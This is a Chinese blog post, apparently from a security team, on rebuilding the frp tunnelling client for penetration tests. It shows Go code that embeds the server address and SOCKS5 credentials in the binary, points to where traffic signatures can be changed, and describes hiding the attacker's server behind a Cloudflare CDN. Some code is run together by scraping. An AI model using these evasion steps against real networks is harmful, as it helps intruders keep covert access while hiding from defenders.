frp优化
2023-3-12 00:11:35 Author: 白帽子(查看原文) 阅读量:34 收藏

工欲善其事,必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件,所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。

使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息,可以采取无配置文件落地或者半落地方式来规避防守。

效果如下:

frpc.exe -i x.x.x.x -p 17000 -r 10000 
frpc.exe //内置所有配置参数

*命令行方式可在windows系统中可以隐藏命令参数,在linux系统可以使用history查看到,想要彻底规避需要将所需参数直接写在frp源码中再重新编译。

frpc是frp的客户端,GitHub原版使用frpc.ini传递运行参数,常使用的参数有以下几个:

[common]
server_addr = 127.0.0.1
server_port = 17000
tls_enable = true //传输过程使用tls加密
token = zhangyida //连接服务端密码

[socks5_proxy]
type = tcp
plugin = socks5
plugin_user = zyd
plugin_passwd = zyd
remote_port = 10000

首先在实现之前,需要知晓原版frp是如何传递参数即frpc参数传递分析。

以0.33版本frp传参代码的实现如下:

cmd/frpc/sub/root.go

//init():初始化参数,c代表config文件地址;v表示frpc版本func init() {  rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")  rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
kcpDoneCh = make(chan struct{})}

var rootCmd = &cobra.Command{ //提示信息如下 Use: "frpc", Short: "frpc is the client of frp (https://github.com/fatedier/frp)", RunE: func(cmd *cobra.Command, args []string) error { if showVersion { fmt.Println(version.Full()) return nil }
// Do not show command usage here. //通过runClient方法读取配置文件信息并向服务端注册搭建隧道 err := runClient(cfgFile) if err != nil { fmt.Println(err) os.Exit(1) } return nil },}

跟进runClient方法,发现以下3个方法跟解析配置文件相关

config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串

//models/config/values.go
package config
import ( "bytes" "io/ioutil" "os" "strings" "text/template")
var ( glbEnvs map[string]string)
func init() { glbEnvs = make(map[string]string) envs := os.Environ() for _, env := range envs { kv := strings.Split(env, "=") if len(kv) != 2 { continue } glbEnvs[kv[0]] = kv[1] }}
type Values struct { Envs map[string]string // environment vars}
func GetValues() *Values { return &Values{ Envs: glbEnvs, }}
func RenderContent(in string) (out string, err error) { tmpl, errRet := template.New("frp").Parse(in) if errRet != nil { err = errRet return }
buffer := bytes.NewBufferString("") v := GetValues() err = tmpl.Execute(buffer, v) if err != nil { return } out = buffer.String() return}
func GetRenderedConfFromFile(path string) (out string, err error) { var b []byte b, err = ioutil.ReadFile(path) if err != nil { return } content := string(b)
out, err = RenderContent(content) return}

parseClientCommonConf,根据传递参数方式选择ini文件格式或者命令行方式。

当为ini文件时,解析

config.GetRenderedConfFromFile返回的字符串

config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg

当传递参数方式为命令行时,注意这个参数只是frpc的[common]参数。

config.loadAllConfFromIni主要实现读取代理相关参数

向cobra的init方法添加serverAddr、serverPort、forwardPort

func init() {  //rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")  //rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
rootCmd.PersistentFlags().StringVarP(&serverAddr, "server_addr", "i", "1.1.1.1", "server_addr") rootCmd.PersistentFlags().StringVarP(&serverPort, "server_port", "p", "18000", "server_port") rootCmd.PersistentFlags().StringVarP(&forwardPort, "remote_port", "r", "11000", "remote_port")
kcpDoneCh = make(chan struct{})}

构造getConfFromCmd方法,将frpc.ini内容写入并传递添加的参数

func getConfFromCmd(serverAddr string, serverPort string, fport string) {  fileContent = `[common]server_addr =` + serverAddr + `server_port = ` + serverPort + `tls_enable = true token = zyd 
[socks5_proxy]type = tcpplugin = socks5 plugin_user = zyd plugin_passwd = zyd remote_port = ` + forwardPort + ``
}

修改runClient方法,使用写入的frpc.ini取代原来读取配置文件的方法

func runClient(cfgFilePath string) (err error) {  var content string  getConfFromCmd(serverAddr, serverPort, forwardPort)  content, err = fileContent, nil  if err != nil {    return  }
cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
if err != nil { return }
pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start) if err != nil { return err }
err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath) return}

实现命令行传递参数,隧道搭建成功

将getConfFromCmd方法中的所有待定参数给定即可

func getConfFromCmd(serverAddr string, serverPort string, fport string) {  fileContent = `[common]server_addr =  1.1.1.1server_port = 12321tls_enable = true token = zyd 
[socks5_proxy]type = tcpplugin = socks5 plugin_user = zyd plugin_passwd = zyd remote_port = 11000`
}

特征修改

特征

在tls_enable为false时,frpc与frps之间的认证流量存在特征,在models/msg/msg.go中修改。

特征二

frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,在utils/net/tls.go中进行修改。

经过以上修改的frp无法完全隐藏攻击者vps ip,可以使用websocket协议实现cdn来规避。

首先在godady购买一个域名

使用cloudflare实现免费cdn,不能使用国内服务器,使用xg或者国外vps且免费版的cloudflare存在端口限制,只能使用常见http/s使用的端口。

http:80,8080,8880,2052,2082,2086,2095

https:443,2053,2083,2087,2096,8443

修改源码中的server_addr为自己的域名

删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。

参考https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.htmlhttps://sec.lz520520.com/2020/11/566/

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246566&idx=2&sn=2329f1e069dc1baf40d514c81d941628&chksm=82ea560fb59ddf197d199f383f007d1e40bf10d97154aa7c11162fb3965e2f0bff1ff3c2d0e8#rd
如有侵权请联系:admin#unsafe.sh